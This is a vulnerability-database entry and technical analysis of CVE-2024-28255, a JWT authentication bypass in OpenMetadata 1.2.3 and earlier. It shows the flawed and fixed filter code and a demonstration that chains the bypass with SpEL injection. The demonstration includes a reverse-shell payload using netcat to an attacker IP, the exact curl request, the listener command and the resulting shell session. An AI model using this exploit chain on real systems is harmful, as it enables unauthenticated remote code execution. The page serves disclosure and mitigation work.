Attacker Value
High
(1 user assessed)
Exploitability
Very High
(1 user assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
1

CVE-2024-28255

Disclosure Date: March 15, 2024
Exploited in the Wild
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Execution
Techniques
Validation
Validated
Initial Access
Techniques
Validation
Validated

Description

OpenMetadata is a unified platform for discovery, observability, and governance powered by a central metadata repository, in-depth lineage, and seamless team collaboration. The JwtFilter handles the API authentication by requiring and verifying JWT tokens. When a new request comes in, the request’s path is checked against this list. When the request’s path contains any of the excluded endpoints the filter returns without validating the JWT. Unfortunately, an attacker may use Path Parameters to make any path contain any arbitrary strings. For example, a request to GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/111 will match the excluded endpoint condition and therefore will be processed with no JWT validation allowing an attacker to bypass the authentication mechanism and reach any arbitrary endpoint, including the ones listed above that lead to arbitrary SpEL expression injection. This bypass will not work when the endpoint uses the SecurityContext.getUserPrincipal() since it will return null and will throw an NPE. This issue may lead to authentication bypass and has been addressed in version 1.2.4. Users are advised to upgrade. There are no known workarounds for this vulnerability. This issue is also tracked as GHSL-2023-237.

Add Assessment

2
Ratings
Technical Analysis

Interesting case that allows for unauthenticated access to JWT token protected API calls in OpenMetada version 1.2.3 and below.
Reading the vulnerability description, it has to do with a incomplete Jwtfilter that allows to bypass this JWT token authentication.

I have pulled these specific code changes between OpenMetadata version 1.2.3 and 1.2.4.
It is obvious that implementation of the Jwtfilter is not strict using uriInfo.getPath().contains(endpoint) in version 1.2.3, whilst in version 1.2.4 it has been fixed and restricted using uriInfo.getPath().equalsIgnoreCase(endpoint)

OpenMetadata 1.2.3 excerpt from JwtFilter.java

public static final List<String> EXCLUDED_ENDPOINTS =
      List.of(
          "v1/system/config",
          "v1/users/signup",
          "v1/system/version",
          "v1/users/registrationConfirmation",
          "v1/users/resendRegistrationToken",
          "v1/users/generatePasswordResetLink",
          "v1/users/password/reset",
          "v1/users/checkEmailInUse",
          "v1/users/login",
          "v1/users/refresh");

  public void filter(ContainerRequestContext requestContext) {
    UriInfo uriInfo = requestContext.getUriInfo();
    if (EXCLUDED_ENDPOINTS.stream().anyMatch(endpoint -> uriInfo.getPath().contains(endpoint))) {
      return;
    }

OpenMetadata 1.2.4 excerpt from JwtFilter.java

public static final List<String> EXCLUDED_ENDPOINTS =
      List.of(
          "v1/system/config/jwks",
          "v1/system/config/authorizer",
          "v1/system/config/customLogoConfiguration",
          "v1/system/config/auth",
          "v1/users/signup",
          "v1/system/version",
          "v1/users/registrationConfirmation",
          "v1/users/resendRegistrationToken",
          "v1/users/generatePasswordResetLink",
          "v1/users/password/reset",
          "v1/users/checkEmailInUse",
          "v1/users/login",
          "v1/users/refresh");

  public void filter(ContainerRequestContext requestContext) {
    UriInfo uriInfo = requestContext.getUriInfo();
    if (EXCLUDED_ENDPOINTS.stream()
        .anyMatch(endpoint -> uriInfo.getPath().equalsIgnoreCase(endpoint))) {
      return;
    }

By adding an URL from the excluded list to a JWT token protected API url, you can potentially bypass the authentication and use the existing sPEL injection vulnerabilities in OpenMetadata version 1.2.3 and below:
CVE-2024-28254 –> GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/<expression>
CVE-2024-28848 –> GET /api/v1;v1%2fusers%2flogin/policies/validation/condition/<expression>

Small demonstration

Chaining CVE-2024-28255 and CVE-2024-28254 to get an unauthenticated RCE via sPEL injection
sPEL injection: T(java.lang.Runtime).getRuntime().exec('nc 192.168.201.8 4444 -e /bin/sh')
Listener: nc -lvnp 4444
Also ensure that you URL encode the payload, otherwise your GET request might not deliver the expected response.

 # curl 'http://192.168.201.42:8585/api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/T%28java.lang.Runtime%29.getRuntime%28%29.exec%28%27nc%20192.168.201.8%204444%20-e%20%2Fbin%2Fsh%27%29'
{"code":400,"message":"Failed to evaluate - EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.Boolean"}

RCE is succesfull if you receive a “Failed to evaluate – EL1001E” message.

# nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 192.168.201.42 63333
pwd
/opt/openmetadata
id
uid=1000(openmetadata) gid=1000(openmetadata) groups=1000(openmetadata)
uname -a
Linux aec47ea48dc2 6.6.32-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Jun 13 14:14:43 UTC 2024 x86_64 Linux

You can do the same by chaining CVE-2024-28255 and CVE-2024-28848.

By the way, most of the API enpoints are not susceptible to this bypass because most of these endpoint are using the SecurityContext.getUserPrincipal() that will return null using this JWT authentication bypass. You will get an error message as listed below.

OpenMetadata API request to list all databases

GET /api/v1;v1%2fusers%2flogin/databases HTTP/1.1
Host: 192.168.201.42:8585
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: */*
Connection: keep-alive

Response

HTTP/1.1 401 Unauthorized
Date: Wed, 31 Jul 2024 13:02:04 GMT
Content-Type: application/json
WWW-Authenticate: om-auth
Content-Length: 57
{ "code":401, "message":"No principal in security context" }

There is Metasploit module available that exploits this vulnerability in combination with the sPEL injection vulnerabilities.
You can find the module here at PR 19347.

Mitigation

Upgrade to the latest release of OpenMetadata or at least upgrade to the patched version 1.2.4.

References

CVE-2024-28255
CVE-2024-28254
CVE-2024-28848
OpenMetadata Advisory GHSL-2023-235 – GHSL-2023-237
OpenMetadata Quickstart Docker deployment
sPEL injections
HackTricks Expression Language
Metasploit OpenMetadata authentication bypass and SpEL injection exploit chain

Credits

Alvaro Munoz alias pwntester (https://github.com/pwntester) – Discovery

CVSS V3 Severity and Metrics
Base Score:
None
Impact Score:
Unknown
Exploitability Score:
Unknown
Vector:
Unknown
Attack Vector (AV):
Unknown
Attack Complexity (AC):
Unknown
Privileges Required (PR):
Unknown
User Interaction (UI):
Unknown
Scope (S):
Unknown
Confidentiality (C):
Unknown
Integrity (I):
Unknown
Availability (A):
Unknown

General Information

Vendors

  • open-metadata

Products

  • OpenMetadata

Exploited in the Wild

Reported by:

Additional Info

Technical Analysis